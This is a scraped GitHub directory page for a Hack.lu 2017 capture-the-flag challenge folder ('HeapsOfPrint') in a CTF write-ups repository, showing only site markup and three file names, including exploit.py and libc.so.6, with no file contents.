<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> DhavalKapil </span> <span>/</span> ctf-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>9</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>21</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/DhavalKapil/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":100902368,"originating_url":"https://github.com/DhavalKapil/ctf-writeups/tree/master/hacklu-2017/HeapsOfPrint","user_id":null}}" data-hydro-click-hmac="85bbe2eb46f85e27d9683fcbefe818336b7ff68e3ca21936e6e2940532873a9c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/DhavalKapil/ctf-writeups/refs" cache-key="v0:1503281044.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGhhdmFsS2FwaWwvY3RmLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/DhavalKapil/ctf-writeups/refs" cache-key="v0:1503281044.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGhhdmFsS2FwaWwvY3RmLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>hacklu-2017</span></span><span>/</span>HeapsOfPrint<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>hacklu-2017</span></span><span>/</span>HeapsOfPrint<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/DhavalKapil/ctf-writeups/tree-commit/756bb223224646d933b6c56b116188162d8147a8/hacklu-2017/HeapsOfPrint" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/DhavalKapil/ctf-writeups/file-list/master/hacklu-2017/HeapsOfPrint"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>HeapsOfPrint</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
